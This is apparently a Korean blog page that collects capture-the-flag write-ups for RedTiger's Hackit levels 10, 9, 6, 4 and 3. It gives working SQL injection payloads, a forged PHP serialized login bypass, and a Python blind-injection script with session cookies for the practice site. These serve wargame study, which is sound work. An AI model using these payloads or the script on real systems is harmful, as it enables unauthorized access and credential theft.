반응형


자! RedTiger의 마지막 문제이다.

접속을 하면 Login 버튼이 있다.

누르면 하단에 보이는것처럼 안녕 원숭이(나 원숭이띠인줄은 또...ㅋㅋ)라고 뜬다.


목표는 TheMaster로 로그인을 하라고 한다.


Login 버튼을 눌렀을 때 파라미터를 보면 아래와 같이 날아간다.

login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login


딱 봐도 Base64로 인코딩된 데이터여서 복호화를 시도해보았다.

(login[]=으로 해서 날리면 Base64_decode 함수가 나오는 것을 통해서도 알 수 있다)


login 파라미터값을 복호화하면 아래와 같이 나온다.

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}


대충 봐서 username이 Monkey이고 password가 0815password 임을 알 수 있다.

이 데이터를 통해 로그인을 할 것이란 것도 추측이 된다.


테스트를 해보기 위해 Monkey 대신 TheMaster를 넣고 Base64로 인코딩 후 전송시키면 아래와 같은 에러가 출력된다.


찾아본 결과 PHP serialize()와 unserialize()에 해당하는 문제였다.

먼저, serialize()unserialize()에 대해 설명하자면 serialize() 함수는 간단히 말해 GET과 POST로 넘어온 배열값을 직렬화(일렬화) 시키는 것이다, 이는 DB를 이용한 세션처리에 주로 사용되었던 함수이다. 추후 이 값들을 사용하기 위해서 사용하는 것이 unserialize()인 것이다.

[ php serialize 취약점 ] 이라고 검색하면 PHP Object Injection 이 나오는데 이는 이 serialize 함수 사용시 이용되는 magic functions들을 이용한 취약점이다.


이것에 대해 알아보다가 시간을 많이 쏟았는데 이 문제는 PHP Object Injection과는 다르다! (이 취약점을 통해서 LFI 취약점을 발생시킬 수 있다. 이는 추후 포스팅을 하겠다)


여기서는 단순히 Login Bypass가 목표이다. 따라서 방향을 다르게 잡았다.


PHP Serialize의 메뉴얼(http://php.net/manual/kr/function.serialize.php)을 잘 살펴본 결과 데이터 타입에 따라 string, int, boolean 등의 데이터가 존재하였다.


여기서 포인트는 데이터 타입에 boolean값이 있다는 것이다. 


SELECT * from 테이블 where id='아이디' AND pw='패스워드'


만약 위의 쿼리에서 id에 TheMaster가 들어가고 pw='임의의값' or 1=1이 들어간다면 pw의 최종 boolean값이 1이 되어 로그인 처리가 되어 로그인이 된다!


이걸 단순하게 생각하면 pw의 boolean값이 1이 되므로 로그인이 되었다는 점이다.


이를 이용하여 password의 boolean값으로 1을 주면 로그인이 되지 않을까라 생각하였다. (serialize()의 boolean은 true, false가 아니라 1과 0으로 저장된다)


따라서 아래와 같이 넣고 base64로 인코딩 후 전송시켜보았다. ( 자세한 serialize 데이터 형식은 http://chongmoa.com/php/6902 를 참고하였다 )


a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}



클리어~!


반응형

'Solve Problem' 카테고리의 다른 글

[Wargame.kr] dun_worry_about_the_vase  (0) 2018.05.02
[RedTiger's Hackit] 올클리어  (0) 2018.02.03
[RedTiger's Hackit] 9번 문제  (0) 2018.02.01
[RedTiger's Hackit] 8번 문제  (0) 2018.01.29
[RedTiger's Hackit] 7번 문제  (0) 2018.01.29
블로그 이미지

rootable

,
반응형


문제를 보자.

level9_users 테이블의 어떠한 유저의 username과 password를 얻으라고 한다.

딱히, Admin의 패스워드만을 원하는 것은 아닌거같다. 또한 blind sql injection 이 아니라는 힌트가 있다. 다른 방식으로 패스워드를 얻으라고 한다~


Autor가 RedTiger인 것으로 보아 RedTiger의 패스워드를 얻어야 하지 않을까란 생각으로 게임 Start !


밑에 보이는 Name과 Title 그리고 textarea에 test1, test2, test3 순서대로 적고 제출을 눌렀더니 아래와 같은 결과가 나왔다.


뭔가 셋 중 하나에 injection을 하여 password를 얻으면 될꺼같은 분위기~


하나씩 싱글쿼터를 넣어보다가 마지막 textarea에 싱글쿼터를 넣으니 아래와 같은 에러가 출력되었다.


따라서 text부분에 3')# 을 입력하면 아래와 같이 잘 출력된다.


이 문제는 샤워하다가 깨달았다 ㅋㅋㅋㅋ

버튼이 제출로 되어있고, 한가지 기사(?)는 이미 등록되어있는 상태로 나와 INSERT 포인트에서 SQL Injection하는 것이 아닐까란 생각을 하였다.


INSERT는 아래와 같은 형식이다.

INSERT INTO tablename ( col1,col2,col3 ...) VALUES ( val1, val2, val3, ... )


여기서 만약 여러 값을 삽입하고 싶다면

( val1, val2, val3 ),( val4, val5, val6 ) 식으로 진행하면 된다.


따라서 나는 이를 테스트하기 위해

autor=1&title=2&text=3'),('4','5','6

를 전송한 결과 아래와 같이 출력되었다.


예상대로 INSERT를 이용한 것이였다.


이제 아래와 같은 쿼리를 전송하였다.

autor=1&title=2&text=3'),((select+username+from+level9_users+limit+1),(select+password+from+level9_users+limit+1),'6



그 결과 위와 같은 결과를 얻었고 이를 넣어서 인증을 완료하였다 !



반응형

'Solve Problem' 카테고리의 다른 글

[RedTiger's Hackit] 올클리어  (0) 2018.02.03
[RedTiger's Hackit] 10번 문제  (0) 2018.02.03
[RedTiger's Hackit] 8번 문제  (0) 2018.01.29
[RedTiger's Hackit] 7번 문제  (0) 2018.01.29
[RedTiger's Hackit] 6번 문제  (0) 2018.01.29
블로그 이미지

rootable

,

[RedTiger's Hackit] 8번 문제

2018. 1. 29. 19:47

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[RedTiger's Hackit] 7번 문제

2018. 1. 29. 19:26

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


문제를 보면 level6_users 테이블에서 status가 1인 첫번째 user를 획득하라고 되어있다.


Click Me를 클릭 시 ?user=1이라는 파라미터가 생성된다.

숫자를 1씩 증가시킨 결과 user는 4까지 존재한다. (5에서 에러 발생)


우리의 목표는 status가 1인 첫번째 user를 찾는 것이므로 존재하지 않는 user=5 뒤에 조건을 걸어준다.


user=5+or+status=1+limit+1


그 결과 admin이 출력된다. 따라서 우리는 admin의 password를 찾는 것을 목표로 문제를 풀면 된다.


blind sql injection을 시도하기 위해 substr, mid, left, right, like를 시도해봤지만 모두 막혀있었다.


대신 username과 email이 출력되는 것으로 보아 union select 를 이용하는 것일까 싶어 컬럼 수를 확인하기 위해 order by 문장을 썼다.


1. ?user=0+order+by+6 에서 에러가 발생하는 것으로 보아 컬럼수는 5개이다.

2. ?user=0+union+select+1,2,3,4,5를 할 경우 User를 발견할 수 없다고 한다. 혹시 숫자로 username을 가져오고 그 username을 토대로 정보를 가져올 수 있어 모든 컬럼에 username을 썼다.

3. [ ?user=0+union+select+username,username,username,username,username+from+level6_users+where+status=1 ] → 그 결과 잘 작동하는 것을 확인하였고 하나씩 빼며 확인한 결과 2번째 컬럼에 username이 들어가야 잘 작동하였다.

4. ?user[]=... 같이 배열로 요청을 하니 에러메시지 내에 mysql_real_escape_string()가 발견되었다. 따라서 싱글쿼터를 사용할 수 없다. 이를 우회하기 위해 hex값을 집어넣어보았다.

5. admin의 hex값을 넣은 [ ?user=0+union+select+1,0x61646d696e,1,1,1+from+level6_users+where+status=1 ]

가 잘 작동함을 보았다. 이 곳에 admin'#을 넣어도 잘 작동하였다.


전체적인 흐름은 이렇다 !


먼저 user 파라미터에 들어간 int형 값을 통해 DB에서 username을 뽑아낸다. 그리고 그 username으로 다시 DB로 요청을 보내 해당 user의 정보들을 받아 출력시키는 방식이다.

따라서 우리는 sql injection 안에 sql injection을 해야하는 것이다. user 파라미터에 injection을 하여 2번째 요청을 조작하는 것이다.

( union select 1,(union select ...),3,4,5 처럼 union select가 중첩되어있는 형태 )


이를 확인하기 위해 username 부분에 ' union select 1,2,3,4,5#을 hex로 인코딩하여 인젝션해보았다.


그 결과 이와같이 2번째와 4번째 컬럼의 값이 출력됨을 확인하였다.


이제 해당 컬럼에 username과 password를 출력하게만 해주면 끝~

' union select 1,username,3,password,5 from level6_users where status=1#

를 hex로 인코딩한 3f2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d31233f3f를 삽입해주면 결과가 뜬다!


쿼리는 아래와 같다.

?user=0+union+select+1,0x3f2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d31233f3f,1,1,1+from+level6_users+where+status=1


결과로 출력된 패스워드를 입력하면 클리어~


반응형

'Solve Problem' 카테고리의 다른 글

[RedTiger's Hackit] 8번 문제  (0) 2018.01.29
[RedTiger's Hackit] 7번 문제  (0) 2018.01.29
[RedTiger's Hackit] 5번 문제  (0) 2018.01.29
[RedTiger's Hackit] 4번 문제  (0) 2018.01.28
[RedTiger's Hackit] 3번 문제  (0) 2018.01.28
블로그 이미지

rootable

,

[RedTiger's Hackit] 5번 문제

2018. 1. 29. 10:31

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


문제를 보면 level4_secret 테이블의 keyword라는 컬럼에서 첫번째 값을 가져오라고 한다. 단, like는 사용못한다고 되어있다.


Click Me라는 것을 클릭하면 ?id=1이라는 파라미터가 생긴다.

이 파라미터값에 '를 넣거나 2를 넣거나 하면 Query returned 0 rows로 변한다.


숫자형 파라미터에 SQL Injection하는 것인가보다.


?id=1 order by 3하면 에러가 뜨는 것을 보아 컬럼이 2개인 것을 확인하고 union select 1,2를 통해 Query returned 2 rows가 되는 것으로 보아 union도 작동하는 것으로 볼 수 있지만 문자가 출력되지 않으므로 Blind SQL Injection으로 가야겠다.


어떻게 할지 생각해보다가 어차피 결과가 한개이므로 조건문으로 값을 찾으면 되겠다는 생각을 했다.


?id=1 AND ascii(substr(keyword,1,1))>1


이와 같이 요청을 보내면 쿼리는 아래와 같을 것이다.


SELECT * FROM level4_secret WHERE id=1 AND ascii(substr(keyword,1,1))>1


그 결과 1개의 행이 출력되는 것을 확인하였고 아래와 같은 요청을 보내 keywork의 값이 21글자임을 확인하였다.


?id=1+AND+length(keyword)=21


이를 토대로 파이썬 코드를 작성하였다.


import urllib2
result=''
url = "https://redtiger.labs.overthewire.org/level4.php?id="
for chr_l in range(1,22):
binary=''
for bin_l in range(1,8):
param="1+AND+substr(lpad(bin(ascii(substr(keyword,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)=1"
req = urllib2.Request(url+param)
req.add_header('cookie','level2login=4_is_not_random; level3login=feed_your_cat_before_your_cat_feeds_you; level4login=there_is_no_bug')
page = urllib2.urlopen(req).read()
if page.find('1 rows') != -1:
binary+='1'
else:
binary+='0'
print binary
result = result+('%x' % int(binary,2)).decode('hex')
print result
print result

그 결과 아래와 같은 결과가 출력되었다.


도출된 값을 Word에 넣고 인증해보자.






반응형

'Solve Problem' 카테고리의 다른 글

[RedTiger's Hackit] 6번 문제  (0) 2018.01.29
[RedTiger's Hackit] 5번 문제  (0) 2018.01.29
[RedTiger's Hackit] 3번 문제  (0) 2018.01.28
[RedTiger's Hackit] 2번 문제  (0) 2018.01.28
[RedTiger's Hackit] 1번 문제  (0) 2018.01.28
블로그 이미지

rootable

,
반응형

문제에 접근한 결과 error를 발생시켜보라고 한다.



Show userdetails에 있는 [TheCow] 또는 [Admin]을 클릭하면 usr 파라미터 뒤에 이상한 글자들이 들어간다. Base64라 판단하여 디코딩해본 결과

TheCow : 063223006156141254

Admin : 042211014182140

의 결과물들이 떨어진다.


무슨 의미일지 계속 생각해봤지만 나오지 않았다. 일단 문제에서 에러를 찾아보라했으니 에러를 찾아보자.


usr 파라미터값 변경, -1 대입, having절 이용 등등 많은걸 해보았지만 에러는 나오지 않았다. usr 파라미터값을 이용해서 에러를 추출하는 것은 아니라 생각된다.


결국 구글링을 통해 힌트를 얻었고 에러를 발생시키는 것은 usr[]=값 형태로 파라미터를 배열 형식으로 전송하는 것이다.



배열형식으로 전송하면 preg_match는 배열이 아니라 문자열로 된 파라미터 2개를 기대한다는 에러를 발생시킨다.


preg_match() 함수에 대한 메뉴얼(http://php.net/manual/en/function.preg-match.php)을 참조하면 패턴과 그 패턴이 존재하는지 확인할 문자열을 필요로 한다. 그렇기 때문에 문자열 2개가 필요한 것인데 우리는 배열을 전송시켰기 때문에 에러가 발생한 것이다.


이것을 통해 에러를 발생시켰고 에러에 나타난 uri에 접근해보자.



접근한 결과 php코드가 나타나고 이를 통해 usr 파라미터값은 이 php의 encrypt 함수를 통해 나타난 것이란 것을 알 수 있다. 


online php tester(http://sandbox.onlinephpfunctions.com/)에서 decrypt 함수를 통해 디코딩한 결과 TheCow와 Admin이 잘 떨어진다.



이제 encrypt 함수를 통해 injection POC를 작성하면 될 것이다.


' or username='Admin'#를 encrypt한

[ MDc2MTUxMDEyMTczMTk0MjUyMTQwMDkzMjA4MTExMTg4MTQ1MDc2MjQyMDg4MDM2MTg3MDEyMjQ0MDA0MDQyMjAw ] 

를 넣어보면 Admin의 값이 잘 떨어짐을 확인하였다.


1. ' order by 8# 에서 에러가 발생한 것으로 컬럼은 7개임을 확인

2. ' union select 1,2,3,4,5,6,7# 으로 어디에 뭐가 출력되는지 확인

3. ' union select 1,Username,3,4,5,Password,7 from level3_users where Username='Admin'# 을 통해 Admin의 패스워드 획득






반응형

'Solve Problem' 카테고리의 다른 글

[RedTiger's Hackit] 5번 문제  (0) 2018.01.29
[RedTiger's Hackit] 4번 문제  (0) 2018.01.28
[RedTiger's Hackit] 2번 문제  (0) 2018.01.28
[RedTiger's Hackit] 1번 문제  (0) 2018.01.28
[SuNiNaTas] WEB부분 올클  (0) 2018.01.22
블로그 이미지

rootable

,